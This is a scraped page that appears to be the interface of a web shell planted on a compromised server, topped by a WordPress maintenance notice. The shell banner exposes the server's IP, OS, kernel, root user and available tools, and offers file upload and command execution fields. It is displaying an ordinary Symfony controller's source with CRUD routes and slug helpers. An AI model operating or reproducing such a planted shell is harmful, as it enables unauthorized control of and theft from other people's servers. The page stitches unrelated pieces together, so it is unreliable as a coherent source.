WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Controller/ResourcesTypeController.php
<?php

namespace App\Controller;

use App\Entity\ResourcesType;
use App\Form\ResourcesTypeType;
use App\Repository\ResourcesTypeRepository;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;

/**
 * @Route("/resources/type")
 */
class ResourcesTypeController extends AbstractController
{
    /**
     * @Route("/", name="resources_type_index", methods={"GET"})
     */
    public function index(ResourcesTypeRepository $resourcesTypeRepository): Response
    {
        return $this->render('resources_type/index.html.twig', [
            'resources_types' => $resourcesTypeRepository->findAll(),
        ]);
    }

    public function slugify($text){
       /* // replace non letter or digits by -
        $text = preg_replace('~[^\pL\d]+~u', '-', $text);

        // transliterate
        $text = iconv('utf-8', 'us-ascii//TRANSLIT', $text);

        // remove unwanted characters
        $text = preg_replace('~[^-\w]+~', '', $text);

        // trim
        $text = trim($text, '-');

        // remove duplicate -
        $text = preg_replace('~-+~', '-', $text);

        // lowercase
        $text = strtolower($text);

        if (empty($text)) {
            return 'n-a';
        }*/
        //        return $text;

        return strtolower(trim(preg_replace('/[^A-Za-z0-9-]+/', '-', $text), '-'));

        /*$str = $text;
        $search = array('Ș', 'Ț', 'ş', 'ţ', 'Ş', 'Ţ', 'ș', 'ț', 'î', 'â', 'ă', 'Î', 'Â', 'Ă', 'ë', 'Ë');
        $replace = array('s', 't', 's', 't', 's', 't', 's', 't', 'i', 'a', 'a', 'i', 'a', 'a', 'e', 'E');
        $str = str_ireplace($search, $replace, strtolower(trim($str)));
        $str = preg_replace('/[^\w\d\-\ ]/', '', $str);
        $str = str_replace(' ', '-', $str);
        return preg_replace('/\-{2,}', '-', $str);*/


    }

    function slugify2($string, $replace = array(), $delimiter = '-') {
        // https://github.com/phalcon/incubator/blob/master/Library/Phalcon/Utils/Slug.php
        if (!extension_loaded('iconv')) {
            throw new Exception('iconv module not loaded');
        }
        // Save the old locale and set the new locale to UTF-8
        $oldLocale = setlocale(LC_ALL, '0');
        setlocale(LC_ALL, 'en_US.UTF-8');
        $clean = iconv('UTF-8', 'ASCII//TRANSLIT', $string);
        if (!empty($replace)) {
            $clean = str_replace((array) $replace, ' ', $clean);
        }
        $clean = preg_replace("/[^a-zA-Z0-9\/_|+ -]/", '', $clean);
        $clean = strtolower($clean);
        $clean = preg_replace("/[\/_|+ -]+/", $delimiter, $clean);
        $clean = trim($clean, $delimiter);
        // Revert back to the old locale
        setlocale(LC_ALL, $oldLocale);
        return $clean;
    }


    /**
     * @Route("/new", name="resources_type_new", methods={"GET","POST"})
     */
    public function new(Request $request): Response
    {
        $resourcesType = new ResourcesType();
        $form = $this->createForm(ResourcesTypeType::class, $resourcesType);
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {

            $title = $resourcesType->getTitle();
            $slug = $this->slugify2($title);
            $resourcesType->setSlug($slug);

            $entityManager = $this->getDoctrine()->getManager();
            $entityManager->persist($resourcesType);
            $entityManager->flush();

            return $this->redirectToRoute('resources_index');
        }

        return $this->render('resources_type/new.html.twig', [
            'resources_type' => $resourcesType,
            'form' => $form->createView(),
        ]);
    }

    /**
     * @Route("/{id}", name="resources_type_show", methods={"GET"})
     */
    public function show(ResourcesType $resourcesType): Response
    {
        return $this->render('resources_type/show.html.twig', [
            'resources_type' => $resourcesType,
        ]);
    }

    /**
     * @Route("/{id}/edit", name="resources_type_edit", methods={"GET","POST"})
     */
    public function edit(Request $request, ResourcesType $resourcesType): Response
    {
        $form = $this->createForm(ResourcesTypeType::class, $resourcesType);
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {
            $title = $resourcesType->getTitle();
            $slug = $this->slugify2($title);
            $resourcesType->setSlug($slug);

            $this->getDoctrine()->getManager()->flush();

            return $this->redirectToRoute('resources_index');
        }

//        dd($resourcesType);
        return $this->render('resources_type/edit.html.twig', [
            'resources_type' => $resourcesType,
            'form' => $form->createView(),
        ]);
    }

    /**
     * @Route("/{id}", name="resources_type_delete", methods={"DELETE"})
     */
    public function delete(Request $request, ResourcesType $resourcesType): Response
    {
        if ($this->isCsrfTokenValid('delete'.$resourcesType->getId(), $request->request->get('_token'))) {
            $entityManager = $this->getDoctrine()->getManager();
            $entityManager->remove($resourcesType);
            $entityManager->flush();
        }

        return $this->redirectToRoute('resources_index');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit